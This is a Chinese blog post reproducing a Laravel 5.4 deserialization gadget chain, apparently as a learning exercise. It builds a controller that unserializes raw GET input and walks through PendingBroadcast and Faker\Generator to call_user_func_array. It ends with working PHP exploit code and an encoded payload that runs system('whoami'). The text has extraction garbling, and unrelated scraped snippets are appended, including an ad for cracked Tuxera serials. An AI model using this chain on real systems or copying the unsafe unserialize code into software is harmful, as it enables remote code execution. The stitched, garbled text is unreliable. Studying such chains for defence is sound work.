Laravel5.4 反序列化

ops/2024/10/11 13:26:58/

文章目录

    • 0x01 环境搭建
    • 0x02 POP 链
    • 0x03 exp
    • 0x04 总结

前言:CC 链复现的头晕,还是从简单的 Laravel 开始吧。

laravel 版本:5.4

0x01 环境搭建

laravel安装包下载地址

安装后配置验证页面。在 /routes/web.php 文件中添加一条路由,原先的路由注释

Route::get("/","\App\Http\Controllers\POPController@test");

image-20240430201955311

然后在/app/Http/Controllers/下添加 POPController 控制器。函数名要和路由里写的一样

php"><?php
namespace App\Http\Controllers;class POPController extends Controller{public function test(){if(isset($_GET['test'])){unserialize($_GET['test']);}else{echo "Welcome!";}}
}

访问页面看到 welcome 即配置正确

image-20240430202327113

0x02 POP 链

一般来说我们寻找序列化漏洞,都是从__destruct()或者__wakeup()开始的。

这里找的入口点是 PendingBroadcast.php 里的 PendingBroadcast 类的 __destruct() 方法,而且 t h i s − > e v e n t s , this->events, this>eventsthis->event 可控。

php">    public function __destruct(){$this->events->dispatch($this->event);}

到这里我们要继续往回找一般有两种思路。

  1. 找某个类的 __call 方法,且这个类没有 dispatch 方法
  2. 找某个类存在 dispatch 方法

这里选择第一个思路,找到了 Faker\Generator (听说 yii 的链子也有这个,有机会复现一下)

__call() //在对象上下文中调用不可访问的方法时触发,第一个参数是方法,第二个参数是方法里参数组成的数组

image-20240430203454713

php">    public function __call($method, $attributes){return $this->format($method, $attributes);}

m e t h o d , method, methodattributes 都可控,就是 PendingBroadcast 类的 __destruct() 方法的 t h i s − > e v e n t s , this->events, this>eventsthis->event。

继续跟进 $this->format 方法

php">    public function format($formatter, $arguments = array()){return call_user_func_array($this->getFormatter($formatter), $arguments);}

漏洞点就在这个 call_user_func_array 上了,$formatter, $arguments 可控,跟进 $this->getFormatter 方法

php">    public function getFormatter($formatter){if (isset($this->formatters[$formatter])) {return $this->formatters[$formatter];}foreach ($this->providers as $provider) {if (method_exists($provider, $formatter)) {$this->formatters[$formatter] = array($provider, $formatter);return $this->formatters[$formatter];}}throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));}

可以发现$this->formatters[$formatter]我们可以控制,然后直接 return

构造一下链子

php">Illuminate\Broadcasting\PendingBroadcastL::__destruct -> Faker\Generator::dispatch -> Faker\Generator::__call -> Faker\Generator::format -> call_user_func_array

0x03 exp

php"><?php
namespace Illuminate\Broadcasting{class PendingBroadcast{public function __construct($events, $event){$this->event = $event;$this->events = $events;}}
}namespace Faker{class Generator{protected $formatters = array();public function __construct($fun){$this -> formatters = ["dispatch" => $fun];}}
}namespace {$a = new Faker\Generator("system");$b = new Illuminate\Broadcasting\PendingBroadcast($a,"whoami");echo urlencode(serialize($b));
}

payload:

test=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A5%3A%22event%22%3Bs%3A6%3A%22whoami%22%3Bs%3A6%3A%22events%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D

image-20240430221526529

0x04 总结

复现的第一条 php 的链子,真的比 java 友好太多了 555。另外不止这一条链子,这位师傅给了4条

Laravel5.4 反序列化漏洞挖掘 - 先知社区 (aliyun.com)


http://www.ppmy.cn/ops/26285.html

相关文章

docker学习笔记3:VmWare CentOS7安装与静态ip配置

文章目录 一、安装CentOS71、下载centos镜像2、安装二、设置静态ip三、xshell连接centos本专栏的docker环境是在centos7里安装,因此首先需要会安装centos虚拟机。 本篇博客介绍如何在vm虚拟机里安装centos7。 一、安装CentOS7 1、下载centos镜像 推荐清华源,下载如下版本 …

本地构建编译Apache-Seatunnel2.3.5适配Web1.0.0运行实现Mysql-CDC示例

本地构建编译Apache-Seatunnel2.3.5适配Web1.0.0运行实现Mysql-CDC示例 文章目录 1.前言2.编译2.1版本说明2.2 seatunnel2.3.4-release分支配置2.3maven调优配置 3.web1.0.0适配3.1配置文件修改和新增文件3.2手动拷贝jar修改依赖3.3修改web不兼容的代码3.4 web编译打包 4.运行m…

【webrtc】MessageHandler 6: 基于线程的消息处理:StunRequest实现包发送和超时重传

G:\CDN\rtcCli\m98\src\p2p\base\stun_request.cc使用OnMessage 实现包的发送和包的超时重传StunRequest 一个StunRequest 代表是一个独立的请求的发送STUN消息 要不是发送前构造好的,要不就是按照需要构建的使用StunRequestManager: 每一个STUNRequest 携带一个交互id 写入m…

什么是 Web3 的生成式 AI?

从 Web 1.0 的静态、单向通信到 Web 2.0 的动态、用户驱动的格局&#xff0c;互联网在二十年的时间里经历了一场显着的转变。现在&#xff0c;当我们站在 Web 3.0 时代的边缘时&#xff0c;我们正在见证更具颠覆性的事物的曙光&#xff1a;生成式人工智能 (AI) 融入我们的数字世…

MAC有没有免费NTFS tuxera激活码 tuxera破解 tuxera for mac2023序列号直装版 ntfs formac教程

Tuxera NTFS 2023破解版是一款非常好用的在线磁盘读写工具&#xff0c;该软件允许mac用户在Windows NTFS格式的硬盘上进行读写操作&#xff0c;Mac的文件系统是HFS&#xff0c;而Windows则使用NTFS格式&#xff0c;这导致在Mac系统上不能直接读写Windows格式的硬盘。然而&#…

在 H5 页面和 uniapp 小程序之间进行数据通信

在 H5 页面和 uniapp 小程序之间进行数据通信可以使用以下方法&#xff1a; URL 参数传递 在 H5 页面中使用 URL 参数来传递数据&#xff0c;然后在小程序中使用 uni.getLaunchOptionsSync() 或者 onLaunch/onShow 生命周期函数来获取 URL 参数中的数据。 在 H5 页面中&…

nginx+Tomcat动静分离

本⽂的动静分离主要是通过nginxtomcat来实现&#xff0c;其中nginx处理图⽚、html等静态的⽂ 件&#xff0c;tomcat处理jsp、do等动态⽂件. 实验环境 192.168.200.133 nginx反向代理 192.168.200.129 static 192.168.200.130 dynamic 步骤 修改三台主机名 [rootadmin ~]#…

盛银消费金融2023年年报: 坚持稳中求进、稳中求变

近日&#xff0c;盛银消费金融发布了2023年年报。报告期内&#xff0c;截至报告期末&#xff0c;公司资产总额65.87亿元&#xff0c;增幅12.57%&#xff1b;贷款余额57.92亿元&#xff0c;增幅8.43%&#xff1b;营业收入2.43亿元&#xff0c;增幅36.36%&#xff1b;净利润0.82亿…